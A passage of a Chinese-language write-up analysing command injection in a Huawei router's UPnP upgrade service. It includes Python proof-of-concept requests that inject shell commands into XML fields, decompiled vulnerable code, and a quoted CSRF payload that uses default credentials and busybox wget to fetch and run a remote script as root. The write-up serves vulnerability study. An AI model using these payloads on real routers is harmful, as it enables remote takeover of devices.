nc=00000001, cnonce=248d1a2560100669&#34;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">data = &#39;&#39;&#39;<span class="code-snippet__meta">&lt;?xml version=&#34;1.0&#34; ?&gt;</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__tag">&lt;<span class="code-snippet__name">s:Envelope</span> <span class="code-snippet__attr">xmlns:s</span>=<span class="code-snippet__string">&#34;<a href="http://schemas.xmlsoap.org/soap/envelope/" target="_blank">http://schemas.xmlsoap.org/soap/envelope/</a>&#34;</span> <span class="code-snippet__attr">s:encodingStyle</span>=<span class="code-snippet__string">&#34;<a href="http://schemas.xmlsoap.org/soap/encoding/" target="_blank">http://schemas.xmlsoap.org/soap/encoding/</a>&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">s:Body</span>&gt;</span><span class="code-snippet__tag">&lt;<span class="code-snippet__name">u:Upgrade</span> <span class="code-snippet__attr">xmlns:u</span>=<span class="code-snippet__string">&#34;urn:schemas-upnp-org:service:WANPPPConnection:1&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__tag">&lt;<span class="code-snippet__name">NewStatusURL</span>&gt;</span>;mkdir /bin/hell;<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">NewStatusURL</span>&gt;</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__tag">&lt;<span class="code-snippet__name">NewDownloadURL</span>&gt;</span>HUAWEIUPNP<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">NewDownloadURL</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">u:Upgrade</span>&gt;</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">s:Body</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">s:Envelope</span>&gt;</span></span></code><code><span class="code-snippet_outer">&#39;&#39;&#39;</span></code><code><span class="code-snippet_outer">requests.post(&#39;<a href="http://192.168.3.2:37215/ctrlt/DeviceUpgrade_1" target="_blank">http://192.168.3.2:37215/ctrlt/DeviceUpgrade_1</a>&#39;,headers=headers,data=data)</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">可以看到在NewStatusURL标签处注入了代码，例如上面的POC为创建一个名为hell的文件夹。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.41150922909880566" data-s="300,640" style="" data-type="png" data-w="921" src="https://wechat2rss.xlab.app/img-proxy/?k=fed5ab31&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY9RkY0Tx7x6VaJkDY0Pia0T48tJplcPQSaPDicqNFJQibsY5eqJQZ8Fx7LTkwYOJLkDulE6VYiaekTicg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">4 漏洞分析</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">首先需要分析出这<strong>37215端口</strong>的应用程序「此处对应的程序为upnp｜<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247487963&amp;idx=1&amp;sn=4d8b0084cbb1e0742eb7f619f85659d5&amp;chksm=faae4910cdd9c006fd347d43e2c8ace047d6eefc447823cf6a5bcc8dadac7a8963ab57c09591&amp;scene=21#wechat_redirect" textvalue="怎么查找端口对应的程序可以参照我们之前的一篇文章" data-itemshowtype="0" tab="innerlink" data-linktype="2">怎么查找端口对应的程序可以参照我们之前的一篇文章</a>」，然后对该程序进行逆向。从POC中可以分析，注入点是在<strong>&lt;NewStatusURL&gt;</strong>，通过在Ghidra中搜索该字符串，并查找交叉引用，找到目标函数<strong style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;white-space: normal;caret-color: rgb(167, 167, 167);">「IDA不大行，没法F5，我也不知道为啥，求知道的师傅讲解」</strong>：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.43795620437956206" data-s="300,640" style="" data-type="png" data-w="685" src="https://wechat2rss.xlab.app/img-proxy/?k=9634c42a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY9RkY0Tx7x6VaJkDY0Pia0THk9hCgNdFQ2aEEsicoBnAZkoVW7hxQtIACO8Jq1dibhibQFHr1B4ULuUA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">我们可以看到这sprinf将418和414变量直接写入到了1040字符串，未经过任何验证就直接使用system执行</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">int</span> <span class="code-snippet__title">FUN_0040749c</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> param_1)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">int</span> iVar1;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">int</span> local_418;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">int</span> local_414;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">char</span> acStack1040 [<span class="code-snippet__number">1028</span>];</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  iVar1 = ATP_XML_GetChildNodeByName(*(undefined4 *)(param_1 + <span class="code-snippet__number">0x2c</span>),<span class="code-snippet__string">&#34;NewDownloadURL&#34;</span>,<span class="code-snippet__number">0</span>,&amp;local_418);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> (((iVar1 == <span class="code-snippet__number">0</span>) &amp;&amp; (local_418 != <span class="code-snippet__number">0</span>)) &amp;&amp;</span></code><code><span class="code-snippet_outer">     (iVar1 = ATP_XML_GetChildNodeByName</span></code><code><span class="code-snippet_outer">                        (*(undefined4 *)(param_1 + <span class="code-snippet__number">0x2c</span>),<span class="code-snippet__string">&#34;NewStatusURL&#34;</span>,<span class="code-snippet__number">0</span>,&amp;local_414), iVar1 == <span class="code-snippet__number">0</span>))</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (local_414 != <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__built_in">snprintf</span>(acStack1040,<span class="code-snippet__number">0x400</span>,<span class="code-snippet__string">&#34;upg -g -U %s -t \&#39;1 Firmware Upgrade Image\&#39; -c upnp -r %s -d -b&#34;</span>,</span></code><code><span class="code-snippet_outer">               local_418,local_414);</span></code><code><span class="code-snippet_outer">      system(acStack1040);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> iVar1;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">可以看到程序<strong>通过ATP_XML_GetChildNodeByName函数</strong>来<strong>获取</strong>NewDownloadURL<strong>节点</strong>的<strong>内容</strong>，然后<strong>判断结果</strong>是否为空，如果获取成功且结果不为空则<strong>继续获取NewStatusURL节点的内容</strong>，再<strong>判断结果</strong>是否空，如果不为空则<strong>将<span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">N</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">ewDownloadURL</span>和NewStatusURL节点的内容拼接</strong>到字符串，并<strong>执行</strong>。</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">此处我们就可以构造插入命令执行<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4208389715832206" data-s="300,640" style="" data-type="png" data-w="1478" src="https://wechat2rss.xlab.app/img-proxy/?k=727a08bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY9RkY0Tx7x6VaJkDY0Pia0Tk7BvC9fsCr3gBKjowWG7RiblFyA0xzWiaKroyN5hHUruNd81DzpNJkvQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">POC如下：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">import requests </span></code><code><span class="code-snippet_outer">headers = {</span></code><code><span class="code-snippet_outer">    &#34;Authorization&#34;: &#34;Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669&#34;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">data = &#39;&#39;&#39;<span class="code-snippet__meta">&lt;?xml version=&#34;1.0&#34; ?&gt;</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__tag">&lt;<span class="code-snippet__name">s:Envelope</span> <span class="code-snippet__attr">xmlns:s</span>=<span class="code-snippet__string">&#34;<a href="http://schemas.xmlsoap.org/soap/envelope/" target="_blank">http://schemas.xmlsoap.org/soap/envelope/</a>&#34;</span> <span class="code-snippet__attr">s:encodingStyle</span>=<span class="code-snippet__string">&#34;<a href="http://schemas.xmlsoap.org/soap/encoding/" target="_blank">http://schemas.xmlsoap.org/soap/encoding/</a>&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">s:Body</span>&gt;</span><span class="code-snippet__tag">&lt;<span class="code-snippet__name">u:Upgrade</span> <span class="code-snippet__attr">xmlns:u</span>=<span class="code-snippet__string">&#34;urn:schemas-upnp-org:service:WANPPPConnection:1&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__tag">&lt;<span class="code-snippet__name">NewStatusURL</span>&gt;</span>;mkdir hell;<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">NewStatusURL</span>&gt;</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__tag">&lt;<span class="code-snippet__name">NewDownloadURL</span>&gt;</span>;mkdir hello;<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">NewDownloadURL</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">u:Upgrade</span>&gt;</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">s:Body</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">s:Envelope</span>&gt;</span></span></code><code><span class="code-snippet_outer">&#39;&#39;&#39;</span></code><code><span class="code-snippet_outer">response = requests.post(&#39;<a href="http://192.168.3.2:37215/ctrlt/DeviceUpgrade_1" target="_blank">http://192.168.3.2:37215/ctrlt/DeviceUpgrade_1</a>&#39;,headers=headers,data=data)</span></code><code><span class="code-snippet_outer">print(response)</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">在两个注入点分别注入不同的命令，</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">qemu仿真机</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">建立的文件</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">如下</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.22920517560073936" data-s="300,640" style="" data-type="png" data-w="541" src="https://wechat2rss.xlab.app/img-proxy/?k=76de6697&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY9RkY0Tx7x6VaJkDY0Pia0THoFnytdbVYpaATs6Hqfjjs0dvoNWo5Ct1a8wnABlWCSQlVJDrTJuXw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><br/></p><p style="text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">5 漏洞扩展</span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">值得一提的是，该路由器的upnp只能从内网端口访问，默认无法从外网端口访问，那我们有什么办法扩大该漏洞影响呢？<br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">通过查阅资料，我们发现了<strong>salt@腾讯玄武实验室</strong>师傅对该漏洞的探索，如下：</span></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="196" data-source-title="https://paper.seebug.org/498/"><section class="js_blockquote_digest"><p>要成功发起该请求需要满足以下两点：一是成功通过服务器端的HTTP基础认证，二是构造XML攻击代码。仔细观察HTTP基础认证的字段，我们可以发现，用于基础认证的用户名和密码为dslf-config:admin。因此我们只需要构造表单，使之POST到http:// dslf-config:admin @routerip:37215即可自动完成基础认证。接下来就是如何用表单来构造一个XML的请求包了</p></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%3Cp%3E%E8%A6%81%E6%88%90%E5%8A%9F%E5%8F%91%E8%B5%B7%E8%AF%A5%E8%AF%B7%E6%B1%82%E9%9C%80%E8%A6%81%E6%BB%A1%E8%B6%B3%E4%BB%A5%E4%B8%8B%E4%B8%A4%E7%82%B9%EF%BC%9A%E4%B8%80%E6%98%AF%E6%88%90%E5%8A%9F%E9%80%9A%E8%BF%87%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E7%9A%84HTTP%E5%9F%BA%E7%A1%80%E8%AE%A4%E8%AF%81%EF%BC%8C%E4%BA%8C%E6%98%AF%E6%9E%84%E9%80%A0XML%E6%94%BB%E5%87%BB%E4%BB%A3%E7%A0%81%E3%80%82%E4%BB%94%E7%BB%86%E8%A7%82%E5%AF%9FHTTP%E5%9F%BA%E7%A1%80%E8%AE%A4%E8%AF%81%E7%9A%84%E5%AD%97%E6%AE%B5%EF%BC%8C%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E5%8F%91%E7%8E%B0%EF%BC%8C%E7%94%A8%E4%BA%8E%E5%9F%BA%E7%A1%80%E8%AE%A4%E8%AF%81%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E5%92%8C%E5%AF%86%E7%A0%81%E4%B8%BAdslf-config%3Aadmin%E3%80%82%E5%9B%A0%E6%AD%A4%E6%88%91%E4%BB%AC%E5%8F%AA%E9%9C%80%E8%A6%81%E6%9E%84%E9%80%A0%E8%A1%A8%E5%8D%95%EF%BC%8C%E4%BD%BF%E4%B9%8BPOST%E5%88%B0http%3A%2F%2F%26nbsp%3Bdslf-config%3Aadmin%26nbsp%3B%40routerip%3A37215%E5%8D%B3%E5%8F%AF%E8%87%AA%E5%8A%A8%E5%AE%8C%E6%88%90%E5%9F%BA%E7%A1%80%E8%AE%A4%E8%AF%81%E6%8E%A5%E4%B8%8B%E6%9D%A5%E5%B0%B1%E6%98%AF%E5%A6%82%E4%BD%95%E7%94%A8%E8%A1%A8%E5%8D%95%E6%9D%A5%E6%9E%84%E9%80%A0%E4%B8%80%E4%B8%AAXML%E7%9A%84%E8%AF%B7%E6%B1%82%E5%8C%85%E4%BA%86%3C%2Fp%3E%22%2C%22digestLen%22%3A197%2C%22text%22%3A%22%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22https%3A%2F%2Fpaper.seebug.org%2F498%2F%22%7D"><span class="blockquote_other"><a href="https://paper.seebug.org/498/" target="_blank">https://paper.seebug.org/498/</a></span></section></blockquote><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">最终，<strong>salt</strong>师傅构造的<span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">CSRF</span>攻击payload如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">body</span> <span class="code-snippet__attr">onload</span>=<span class="code-snippet__string">&#39;document.forms[0].submit()&#39;</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">form</span> <span class="code-snippet__attr">method</span>=<span class="code-snippet__string">&#39;POST&#39;</span> <span class="code-snippet__attr">enctype</span>=<span class="code-snippet__string">&#39;text/plain&#39;</span> <span class="code-snippet__attr">action</span>=<span class="code-snippet__string">&#34;<a href="http://dslf-config:admin@192.168.1.1:37215/ctrlt/DeviceUpgrade_1" target="_blank">http://dslf-config:admin@192.168.1.1:37215/ctrlt/DeviceUpgrade_1</a>&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">input</span> <span class="code-snippet__attr">name</span>=<span class="code-snippet__string">&#39;&lt;?xml version=&#34;1.0&#34; ?&gt;&lt;s:Envelope xmlns:s=&#34;<a href="http://schemas.xmlsoap.org/soap/envelope/" target="_blank">http://schemas.xmlsoap.org/soap/envelope/</a>&#34; s:encodingStyle=&#34;<a href="http://schemas.xmlsoap.org/soap/encoding/" target="_blank">http://schemas.xmlsoap.org/soap/encoding/</a>&#34;&gt;&lt;s:Body&gt;&lt;u:Upgrade xmlns:u=&#34;urn:schemas-upnp-org:service:WANPPPConnection:1&#34;&gt;&lt;NewStatusURL&gt;a&#39;</span> <span class="code-snippet__attr">value</span>=<span class="code-snippet__string">&#39;1;$(/bin/busybox wget -g 192.168.1.2 -l /tmp/.f -r /b);&lt;/NewStatusURL&gt;&lt;NewDownloadURL&gt;$(echo HUAWEIUPNP)&lt;/NewDownloadURL&gt;&lt;/u:Upgrade&gt;&lt;/s:Body&gt;&lt;/s:Envelope&gt;&#39;</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">form</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">body</span>&gt;</span></span></code></pre></section><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">攻击者只要诱使用户访问包含上述代码的页面，存在漏洞的路由器就会远程下载一个bash脚本并以root的身份执行</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">能够将仅能在内网触发的漏洞扩大到远程攻击的想法，值得我们在每次漏洞挖掘中去思考</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">5 漏洞影响</span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 